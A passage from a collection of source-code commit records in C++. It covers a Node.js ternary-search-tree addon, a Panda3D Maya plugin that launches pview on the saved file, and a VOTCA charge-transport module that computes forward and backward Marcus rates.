match\n\n char ch = *s;\n\n if (ch < node->ch) {\n node = node->left;\n } else if (ch > node->ch) {\n node = node->right;\n } else if (len > 1) {\n node = node->eq;\n s++;\n len--;\n } else if (node->value != NULL) {\n return node; \/\/ match\n } else {\n return NULL; \/\/ end of search\n }\n }\n }\n};\n\nclass TernaryBufferTree : public node::ObjectWrap {\npublic:\n static void Init(Handle<Object> exports);\n static Persistent<Function> constructor;\n\n inline bool contains(const char* s, size_t len) const;\n const SimpleString* get(const char* s, size_t len) const;\n std::vector<SimpleString> findAllMatches(const char* s, size_t len, size_t maxNgramSize);\n\nprivate:\n char* mem = NULL;\n SimpleString* strings = NULL;\n TST tree;\n\n explicit TernaryBufferTree(const char* s, size_t len);\n ~TernaryBufferTree();\n\n static void New(const FunctionCallbackInfo<Value>& args);\n static void Contains(const FunctionCallbackInfo<Value>& args);\n static void Get(const FunctionCallbackInfo<Value>& args);\n static void FindAllMatches(const FunctionCallbackInfo<Value>& args);\n};\n\nPersistent<Function> TernaryBufferTree::constructor;\n\nstatic size_t\ncount_char_in_str(char ch, const char* s, size_t len) {\n size_t ret = 0;\n\n while (len > 0) {\n if (*s == ch) ret++;\n len--;\n s++;\n }\n\n return ret;\n}\n\n\/**\n * Insert Strings into a TST.\n *\n * We assume the Strings are sorted. Insert the median first, then recurse.\n * That's described in \"Better Insertion Orders\" at\n * http:\/\/www.drdobbs.com\/database\/ternary-search-trees\/184410528?pgno=2\n *\n * The `tokens` passed here are in *pairs*: that is, tokens[0] is a key,\n * tokens[1] is its value; tokens[2] is the next key with tokens[3] as its\n * value; etc. The `begin` and `end` describe the *pairs*, not the tokens:\n * when `begin == end == 1`, then the key is `tokens[2]` and the value is\n * `tokens[3]`.\n *\/\nstatic void\ninsert_many(TST& tree, SimpleString tokens[], size_t begin, size_t end)\n{\n if (end == begin) return;\n\n size_t mid = (begin + end - 1) >> 1;\n tree.insert(tokens[mid * 2], &tokens[mid * 2 + 1]);\n\n if (mid > begin) insert_many(tree, tokens, begin, mid);\n if (mid < end - 1) insert_many(tree, tokens, mid + 1, end);\n}\n\nTernaryBufferTree::TernaryBufferTree(const char* s, size_t len)\n{\n this->mem = new char[len];\n memcpy(this->mem, s, len);\n\n size_t nTokens = count_char_in_str('\\n', s, len) + 1;\n this->strings = new SimpleString[nTokens * 2];\n\n SimpleString* curString = &this->strings[0];\n bool foundTabThisLine = false;\n\n curString->s = this->mem;\n\n const char* end = this->mem + len;\n for (const char* p = this->mem; p < end; p++) {\n switch (*p) {\n case '\\n':\n curString->len = p - curString->s;\n curString++;\n\n if (!foundTabThisLine) {\n curString++; \/\/ There's no value\n }\n foundTabThisLine = false;\n\n curString->s = &p[1]; \/\/ Start parsing the next line\n break;\n case '\\t':\n curString->len = p - curString->s;\n curString++;\n foundTabThisLine = true;\n curString->s = &p[1]; \/\/ Start parsing the value\n break;\n }\n }\n curString->len = end - curString->s;\n\n insert_many(this->tree, this->strings, 0, nTokens);\n}\n\nTernaryBufferTree::~TernaryBufferTree()\n{\n delete[] this->mem;\n delete[] this->strings;\n}\n\nbool\nTernaryBufferTree::contains(const char* s, size_t len) const\n{\n return this->tree.contains(s, len);\n}\n\nconst SimpleString*\nTernaryBufferTree::get(const char* s, size_t len) const\n{\n return this->tree.get(s, len);\n}\n\nstd::vector<SimpleString>\nTernaryBufferTree::findAllMatches(const char* s, size_t len, size_t maxNgramSize) {\n std::vector<SimpleString> ret;\n std::deque<const char*> tokenStarts;\n const char* lastP = s;\n const char* end = s + len;\n\n tokenStarts.push_back(s);\n\n while (true) {\n const char* p = static_cast<const char*>(memchr(lastP, ' ', end - lastP));\n if (p == NULL) p = s + len;\n\n \/\/ Add s[tokenStarts[0],pos), s[tokenStarts[1],pos), ... for every token\n \/\/ in the set\n for (auto i = tokenStarts.begin(); i < tokenStarts.end(); i++) {\n const char* tokenStart = *i;\n if (this->tree.contains(tokenStart, p - tokenStart)) {\n ret.push_back(SimpleString(tokenStart, p - tokenStart));\n }\n }\n\n if (tokenStarts.size() == maxNgramSize) tokenStarts.pop_front();\n\n if (p == s + len) break;\n\n lastP = p + 1;\n tokenStarts.push_back(lastP);\n }\n\n return ret;\n}\n\nvoid\nTernaryBufferTree::Init(Handle<Object> exports) {\n Isolate* isolate = Isolate::GetCurrent();\n\n \/\/ Prepare constructor template\n Local<FunctionTemplate> tpl = FunctionTemplate::New(isolate, New);\n tpl->SetClassName(String::NewFromUtf8(isolate, \"TernaryBufferTree\"));\n tpl->InstanceTemplate()->SetInternalFieldCount(1);\n\n \/\/ Prototype\n NODE_SET_PROTOTYPE_METHOD(tpl, \"contains\", Contains);\n NODE_SET_PROTOTYPE_METHOD(tpl, \"get\", Get);\n NODE_SET_PROTOTYPE_METHOD(tpl, \"findAllMatches\", FindAllMatches);\n\n constructor.Reset(isolate, tpl->GetFunction());\n exports->Set(String::NewFromUtf8(isolate, \"TernaryBufferTree\"), tpl->GetFunction());\n}\n\nvoid\nTernaryBufferTree::New(const FunctionCallbackInfo<Value>& args) {\n Isolate* isolate = Isolate::GetCurrent();\n HandleScope scope(isolate);\n\n if (args.IsConstructCall()) {\n \/\/ Invoked as constructor: `new MyObject(...)`\n const char* s = node::Buffer::Data(args[0]);\n const size_t len = node::Buffer::Length(args[0]);\n TernaryBufferTree* obj = new TernaryBufferTree(s, len);\n obj->Wrap(args.This());\n args.GetReturnValue().Set(args.This());\n } else {\n \/\/ Invoked as plain function `MyObject(...)`, turn into construct call\n Local<Value> argv[1] = { args[0] };\n Local<Function> cons = Local<Function>::New(isolate, constructor);\n args.GetReturnValue().Set(cons->NewInstance(1, argv));\n }\n}\n\nvoid TernaryBufferTree::Contains(const FunctionCallbackInfo<Value>& args) {\n Isolate* isolate = Isolate::GetCurrent();\n HandleScope scope(isolate);\n TernaryBufferTree* obj = ObjectWrap::Unwrap<TernaryBufferTree>(args.Holder());\n\n bool ret = false;\n\n Local<Value> arg = args[0]; \/\/ Buffer or String\n\n if (node::Buffer::HasInstance(arg)) {\n \/\/ It's a buffer. Go char-by-char\n const char* data(node::Buffer::Data(arg));\n const size_t len(node::Buffer::Length(arg));\n\n ret = obj->contains(data, len);\n } else {\n \/\/ We can convert it to utf-8. On failure, it's just an empty String.\n String::Utf8Value argString(arg);\n ret = obj->contains(*argString, argString.length());\n }\n\n args.GetReturnValue().Set(ret);\n}\n\nvoid TernaryBufferTree::Get(const FunctionCallbackInfo<Value>& args) {\n Isolate* isolate = Isolate::GetCurrent();\n HandleScope scope(isolate);\n TernaryBufferTree* obj = ObjectWrap::Unwrap<TernaryBufferTree>(args.Holder());\n\n const SimpleString* result;\n\n Local<Value> arg = args[0]; \/\/ Buffer or String\n\n if (node::Buffer::HasInstance(arg)) {\n \/\/ It's a buffer. Go char-by-char\n const char* data(node::Buffer::Data(arg));\n const size_t len(node::Buffer::Length(arg));\n\n result = obj->get(data, len);\n } else {\n \/\/ We can convert it to utf-8. On failure, it's just an empty String.\n String::Utf8Value argString(arg);\n result = obj->get(*argString, argString.length());\n }\n\n if (result != NULL) {\n Handle<String> ret(String::NewFromUtf8(isolate, result->s, String::NewStringType::kNormalString, result->len));\n args.GetReturnValue().Set(ret);\n }\n}\n\nvoid\nTernaryBufferTree::FindAllMatches(const FunctionCallbackInfo<Value>& args) {\n Isolate* isolate = Isolate::GetCurrent();\n HandleScope scope(isolate);\n TernaryBufferTree* obj = ObjectWrap::Unwrap<TernaryBufferTree>(args.Holder());\n\n std::vector<SimpleString> ret;\n Handle<Array> retArray;\n\n Local<Value> arg = args[0]; \/\/ Buffer or String\n uint32_t maxNgramSize = args[1]->Uint32Value();\n if (maxNgramSize == 0) maxNgramSize = 1;\n\n if (node::Buffer::HasInstance(arg)) {\n const char* data(node::Buffer::Data(arg));\n const size_t len(node::Buffer::Length(arg));\n ret = obj->findAllMatches(data, len, maxNgramSize);\n\n \/\/ Icky copy\/paste, I know\n size_t size = ret.size();\n retArray = Array::New(isolate, size);\n for (size_t i = 0; i < size; i++) {\n retArray->Set(i, String::NewFromUtf8(isolate, ret[i].s, String::NewStringType::kNormalString, ret[i].len));\n }\n } else {\n \/\/ We can convert it to utf-8. On failure, it's just an empty String.\n String::Utf8Value argString(arg);\n ret = obj->findAllMatches(*argString, argString.length(), maxNgramSize);\n\n \/\/ Icky copy\/paste, I know\n size_t size = ret.size();\n retArray = Array::New(isolate, size);\n for (size_t i = 0; i < size; i++) {\n retArray->Set(i, String::NewFromUtf8(isolate, ret[i].s, String::NewStringType::kNormalString, ret[i].len));\n }\n }\n\n args.GetReturnValue().Set(retArray);\n}\n\nvoid\ninit(Handle<Object> exports, Handle<Object> module) {\n TernaryBufferTree::Init(exports);\n}\n\nNODE_MODULE(binding, init);\n<|endoftext|>"} {"text":"<commit_before>\/\/ Filename: mayaSavePview.cxx\n\/\/ Created by: drose (27Oct03)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ PANDA 3D SOFTWARE\n\/\/ Copyright (c) 2001, Disney Enterprises, Inc. All rights reserved\n\/\/\n\/\/ All use of this software is subject to the terms of the Panda 3d\n\/\/ Software license. You should have received a copy of this license\n\/\/ along with this source code; you will also find a current copy of\n\/\/ the license at http:\/\/www.panda3d.org\/license.txt .\n\/\/\n\/\/ To contact the maintainers of this program write to\n\/\/ panda3d@yahoogroups.com .\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"mayaSavePview.h\"\n\n#include <maya\/MString.h>\n#include <maya\/MFnPlugin.h>\n#include <maya\/MFileIO.h>\n\n#include <stdlib.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Function: MayaSavePview::Constructor\n\/\/ Access: Public\n\/\/ Description:\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nMayaSavePview::\nMayaSavePview() {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Function: MayaSavePview::doIt\n\/\/ Access: Public, Virtual\n\/\/ Description: Called when the plugin command is invoked.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nMStatus MayaSavePview::\ndoIt(const MArgList &) {\n MStatus result;\n \n \/\/ First, make sure the current buffer is saved.\n result = MFileIO::save(false);\n if (result != MS::kSuccess) {\n return result;\n }\n\n MString filename = MFileIO::currentFile();\n MString command = MString(\"pview \\\"\") + filename + MString(\"\\\"\");\n\n int command_result = system(command.asChar());\n if (command_result != 0) {\n return MS::kFailure;\n }\n\n return MS::kSuccess;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Function: MayaSavePview::creator\n\/\/ Access: Public, Static\n\/\/ Description: This is used to create a new instance of the plugin.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid *MayaSavePview::\ncreator() {\n return new MayaSavePview;\n}\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Function: initializePlugin\n\/\/ Description: Called by Maya when the plugin is loaded.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEXPCL_MISC MStatus \ninitializePlugin(MObject obj) {\n MFnPlugin plugin(obj, \"VR Studio\", \"1.0\");\n MStatus status;\n status = plugin.registerCommand(\"savePview\", MayaSavePview::creator);\n if (!status) {\n status.perror(\"registerCommand\");\n }\n\n return status;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Function: uninitializePlugin\n\/\/ Description: Called by Maya when the plugin is unloaded.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEXPCL_MISC MStatus\nuninitializePlugin(MObject obj) {\n MFnPlugin plugin(obj);\n MStatus status;\n status = plugin.deregisterCommand(\"savePview\");\n\n if (!status) {\n status.perror(\"deregisterCommand\");\n }\n return status;\n}\n<commit_msg>call it pview, and use the -c option<commit_after>\/\/ Filename: mayaSavePview.cxx\n\/\/ Created by: drose (27Oct03)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ PANDA 3D SOFTWARE\n\/\/ Copyright (c) 2001, Disney Enterprises, Inc. All rights reserved\n\/\/\n\/\/ All use of this software is subject to the terms of the Panda 3d\n\/\/ Software license. You should have received a copy of this license\n\/\/ along with this source code; you will also find a current copy of\n\/\/ the license at http:\/\/www.panda3d.org\/license.txt .\n\/\/\n\/\/ To contact the maintainers of this program write to\n\/\/ panda3d@yahoogroups.com .\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"mayaSavePview.h\"\n\n#include <maya\/MString.h>\n#include <maya\/MFnPlugin.h>\n#include <maya\/MFileIO.h>\n\n#include <stdlib.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Function: MayaSavePview::Constructor\n\/\/ Access: Public\n\/\/ Description:\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nMayaSavePview::\nMayaSavePview() {\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Function: MayaSavePview::doIt\n\/\/ Access: Public, Virtual\n\/\/ Description: Called when the plugin command is invoked.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nMStatus MayaSavePview::\ndoIt(const MArgList &) {\n MStatus result;\n \n \/\/ First, make sure the current buffer is saved.\n result = MFileIO::save(false);\n if (result != MS::kSuccess) {\n return result;\n }\n\n MString filename = MFileIO::currentFile();\n MString command = MString(\"pview -c \\\"\") + filename + MString(\"\\\"\");\n\n int command_result = system(command.asChar());\n if (command_result != 0) {\n return MS::kFailure;\n }\n\n return MS::kSuccess;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Function: MayaSavePview::creator\n\/\/ Access: Public, Static\n\/\/ Description: This is used to create a new instance of the plugin.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid *MayaSavePview::\ncreator() {\n return new MayaSavePview;\n}\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Function: initializePlugin\n\/\/ Description: Called by Maya when the plugin is loaded.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEXPCL_MISC MStatus \ninitializePlugin(MObject obj) {\n MFnPlugin plugin(obj, \"VR Studio\", \"1.0\");\n MStatus status;\n status = plugin.registerCommand(\"pview\", MayaSavePview::creator);\n if (!status) {\n status.perror(\"registerCommand\");\n }\n\n return status;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Function: uninitializePlugin\n\/\/ Description: Called by Maya when the plugin is unloaded.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEXPCL_MISC MStatus\nuninitializePlugin(MObject obj) {\n MFnPlugin plugin(obj);\n MStatus status;\n status = plugin.deregisterCommand(\"pview\");\n\n if (!status) {\n status.perror(\"deregisterCommand\");\n }\n return status;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"easyjobserver.h\"\n#include <votca\/csg\/nblist.h>\n#include <qmnblist.h>\n#include <votca\/tools\/histogramnew.h>\n\nEasyJObserver::EasyJObserver()\n{}\n\nEasyJObserver::~EasyJObserver()\n{}\n\nvoid EasyJObserver::Initialize(QMTopology &qmtop, Property &opts)\n{\n _qmtop = &qmtop;\n _kT = opts.get(\"calc_rates.thermal_energy\").as<double>();\n _E = opts.get(\"calc_rates.e_field\").as<vec>();\n cout << \"E = \" << _E << endl;\n}\n\nvoid EasyJObserver::setNNnames(string nnnames){\n Tokenizer tok(nnnames, \" ;\");\n Tokenizer::iterator itok = tok.begin();\n for (; itok!= tok.end(); ++itok){\n _nnnames.push_back(*itok);\n }\n}\nvoid EasyJObserver::BeginCG(Topology *top, Topology *top_atom)\n{\n _qmtop->Initialize(*top);\n}\n\nvoid EasyJObserver::EndCG()\n{\n HistogramNew histo;\n histo.Initialize(*(std::min_element( _Js.begin(), _Js.end() )),*(std::max_element( _Js.begin(), _Js.end() ) ) , int(_Js.size() \/ 10 ));\n histo.ProcessRange(_Js.begin(),_Js.end());\n cout << histo <<endl;\n}\n\n\/\/\/ evaluate current conformation\n\nvoid EasyJObserver::EvalConfiguration(Topology *top, Topology *top_atom)\n{\n _qmtop->Update(*top);\n QMNBList &nblist = _qmtop->nblist();\n\n BeadList list1;\n Topology *toptmp = dynamic_cast<Topology*>(_qmtop);\n list1.Generate(*toptmp, \"*\");\n\n nblist.setCutoff(_cutoff);\n nblist.Generate(list1);\n for(QMNBList::iterator iter = nblist.begin();\n iter!=nblist.end();++iter) {\n CrgUnit *crg1 = (*iter)->first;\n CrgUnit *crg2 = (*iter)->second;\n if(MatchNNnames(crg1, crg2)){\n vector <double> Js = _qmtop->GetJCalc().GetJ(*crg1, *crg2);\n \/\/cout << crg1->GetId() << \" \" << crg2->GetId() << \" \";\n for(int i=0; i<Js.size(); ++i)\n {\n _Js.push_back(Js[i]);\n }\n (*iter)->setJ(Js[0]);\n }\n }\n CalcRates(nblist);\n MakeRatesSIUnits(nblist);\n print_nbs_to_file(nblist);\n cout<<\"Falks test\\n\";\n StateSaver _saver(*_qmtop);\n string outfilename = \"falks.dat\";\n _saver.Open(outfilename,true);\n _saver.Write_QMBeads(_qmtop);\n}\n\nbool EasyJObserver::MatchNNnames(CrgUnit *crg1, CrgUnit* crg2){\n vector <string>::iterator its = _nnnames.begin();\n string namecrg = crg1->GetType()->GetName()+string(\":\")+crg2->GetType()->GetName();\n for ( ; its!= _nnnames.end(); ++its){\n if(wildcmp(its->c_str(), namecrg.c_str()) ){\n return true;\n }\n }\n return false;\n}\n\nvoid EasyJObserver::CalcRates(QMNBList &nblist){\n for(QMNBList::iterator iter = nblist.begin();iter!=nblist.end();++iter)\n {\n double rate = 0.0;\n double Jeff = (*iter)->j();\n \/\/cout << \"Jeff = \" << Jeff << endl;\n CrgUnit *crg1 = (*iter)->first;\n CrgUnit *crg2 = (*iter)->second;\n if(MatchNNnames(crg1, crg2))\n {\n double prefactor = 1.0;\n \/\/\/ reorganization energy in eV as given in list_charges.xml\n double reorg = 0.5 * (crg1->GetType()->GetReorg()+crg2->GetType()->GetReorg());\n \/\/\/ free energy difference due to electric field, i.e. E*r_ij\n double dG_field = -_E * ((*iter)->r()) * RA * Ang;\n \/\/\/ free energy difference due to different energy levels of molecules\n double dG_en = crg2->GetNRG() - crg1->GetNRG();\n \/\/\/ electrostatics are taken into account in qmtopology and are contained in NRG\n \/\/\/ total free energy difference\n double dG = dG_field + dG_en;\n \/\/\/ Marcus rate\n rate = prefactor * sqrt(PI\/(reorg * _kT)) * Jeff * Jeff *\n exp (-(dG + reorg)*(dG + reorg)\/(4*_kT*reorg));\n \/\/cout << \"Rate: \" << rate << endl;\n \/\/cout << \"dG_field = \" << dG_field << endl;\n }\n (*iter)->setRate(rate);\n }\n}\n\nvoid EasyJObserver::MakeRatesSIUnits(QMNBList &nblist){\n for(QMNBList::iterator iter = nblist.begin();iter!=nblist.end();++iter)\n {\n (*iter)->rate() *= 1\/hbar;\n }\n}\n\nvoid EasyJObserver::print_nbs_to_file(QMNBList &nblist){\n ofstream out_nbl;\n out_nbl.open(\"nbl_votca.res\");\n if(out_nbl!=0){\n out_nbl << \"Neighbours, J(0), J_eff, rate, r_ij, abs(r_ij) [Bohr]\" << endl;\n QMNBList::iterator iter;\n for ( iter = nblist.begin(); iter != nblist.end() ; ++iter){\n out_nbl << \"(\" << (*iter)->first->GetId() << \",\" << (*iter)->second->GetId() << \"): \";\n out_nbl << (*iter)->j() << \" \" << abs((*iter)->j()) << \" \" << (*iter)->rate() << \" \";\n out_nbl << (*iter)->r().getX() << \" \" << (*iter)->r().getY() << \" \" << (*iter)->r().getZ() << \" \";\n out_nbl << \" \" << abs((*iter)->r()) << endl;\n }\n }\n out_nbl.close();\n}<commit_msg>added function make_kmc_graph<commit_after>#include \"easyjobserver.h\"\n#include <votca\/csg\/nblist.h>\n#include <qmnblist.h>\n#include <votca\/tools\/histogramnew.h>\n#include <kmc\/vertex.h>\n\nEasyJObserver::EasyJObserver()\n{}\n\nEasyJObserver::~EasyJObserver()\n{}\n\nvoid EasyJObserver::Initialize(QMTopology &qmtop, Property &opts)\n{\n _qmtop = &qmtop;\n _kT = opts.get(\"calc_rates.thermal_energy\").as<double>();\n _E = opts.get(\"calc_rates.e_field\").as<vec>();\n cout << \"E = \" << _E << endl;\n}\n\nvoid EasyJObserver::setNNnames(string nnnames){\n Tokenizer tok(nnnames, \" ;\");\n Tokenizer::iterator itok = tok.begin();\n for (; itok!= tok.end(); ++itok){\n _nnnames.push_back(*itok);\n }\n}\nvoid EasyJObserver::BeginCG(Topology *top, Topology *top_atom)\n{\n _qmtop->Initialize(*top);\n}\n\nvoid EasyJObserver::EndCG()\n{\n HistogramNew histo;\n histo.Initialize(*(std::min_element( _Js.begin(), _Js.end() )),*(std::max_element( _Js.begin(), _Js.end() ) ) , int(_Js.size() \/ 10 ));\n histo.ProcessRange(_Js.begin(),_Js.end());\n cout << histo <<endl;\n}\n\n\/\/\/ evaluate current conformation\n\nvoid EasyJObserver::EvalConfiguration(Topology *top, Topology *top_atom)\n{\n _qmtop->Update(*top);\n QMNBList &nblist = _qmtop->nblist();\n\n BeadList list1;\n Topology *toptmp = dynamic_cast<Topology*>(_qmtop);\n list1.Generate(*toptmp, \"*\");\n\n nblist.setCutoff(_cutoff);\n nblist.Generate(list1);\n for(QMNBList::iterator iter = nblist.begin();\n iter!=nblist.end();++iter) {\n CrgUnit *crg1 = (*iter)->first;\n CrgUnit *crg2 = (*iter)->second;\n if(MatchNNnames(crg1, crg2)){\n vector <double> Js = _qmtop->GetJCalc().GetJ(*crg1, *crg2);\n \/\/cout << crg1->GetId() << \" \" << crg2->GetId() << \" \";\n for(int i=0; i<Js.size(); ++i)\n {\n _Js.push_back(Js[i]);\n }\n (*iter)->setJ(Js[0]);\n }\n }\n CalcRates(nblist);\n MakeRatesSIUnits(nblist);\n print_nbs_to_file(nblist);\n graph kmc_grid;\n make_kmc_graph(&kmc_grid,nblist);\n\n cout<<\"Falks test\\n\";\n StateSaver _saver(*_qmtop);\n string outfilename = \"falks.dat\";\n _saver.Open(outfilename,true);\n _saver.Write_QMBeads(_qmtop);\n}\n\nbool EasyJObserver::MatchNNnames(CrgUnit *crg1, CrgUnit* crg2){\n vector <string>::iterator its = _nnnames.begin();\n string namecrg = crg1->GetType()->GetName()+string(\":\")+crg2->GetType()->GetName();\n for ( ; its!= _nnnames.end(); ++its){\n if(wildcmp(its->c_str(), namecrg.c_str()) ){\n return true;\n }\n }\n return false;\n}\n\nvoid EasyJObserver::CalcRates(QMNBList &nblist){\n for(QMNBList::iterator iter = nblist.begin();iter!=nblist.end();++iter)\n {\n double rate_12, rate_21 = 0.0;\n double Jeff = (*iter)->j();\n \/\/cout << \"Jeff = \" << Jeff << endl;\n CrgUnit *crg1 = (*iter)->first;\n CrgUnit *crg2 = (*iter)->second;\n if(MatchNNnames(crg1, crg2))\n {\n double prefactor = 1.0;\n \/\/\/ reorganization energy in eV as given in list_charges.xml\n double reorg = 0.5 * (crg1->GetType()->GetReorg()+crg2->GetType()->GetReorg());\n \/\/\/ free energy difference due to electric field, i.e. E*r_ij\n double dG_field = -_E * ((*iter)->r()) * RA * Ang;\n \/\/\/ free energy difference due to different energy levels of molecules\n double dG_en = crg2->GetNRG() - crg1->GetNRG();\n \/\/\/ electrostatics are taken into account in qmtopology and are contained in NRG\n \/\/\/ total free energy difference\n double dG = dG_field + dG_en;\n \/\/\/ Marcus rate from first to second\n rate_12 = prefactor * sqrt(PI\/(reorg * _kT)) * Jeff * Jeff *\n exp (-(dG + reorg)*(dG + reorg)\/(4*_kT*reorg));\n \/\/\/ Marcus rate from second to first (dG_field -> -dG_field)\n dG = -dG_field + dG_en;\n rate_21 = prefactor * sqrt(PI\/(reorg * _kT)) * Jeff * Jeff *\n exp (-(dG + reorg)*(dG + reorg)\/(4*_kT*reorg));\n }\n (*iter)->setRate12(rate_12);\n (*iter)->setRate21(rate_21);\n }\n}\n\nvoid EasyJObserver::MakeRatesSIUnits(QMNBList &nblist){\n for(QMNBList::iterator iter = nblist.begin();iter!=nblist.end();++iter)\n {\n (*iter)->rate12() *= 1\/hbar;\n (*iter)->rate21() *= 1\/hbar;\n }\n}\n\nvoid EasyJObserver::print_nbs_to_file(QMNBList &nblist){\n ofstream out_nbl;\n out_nbl.open(\"nbl_votca.res\");\n if(out_nbl!=0){\n out_nbl << \"Neighbours, J(0), J_eff, rate, r_ij, abs(r_ij) [Bohr]\" << endl;\n QMNBList::iterator iter;\n for ( iter = nblist.begin(); iter != nblist.end() ; ++iter){\n out_nbl << \"(\" << 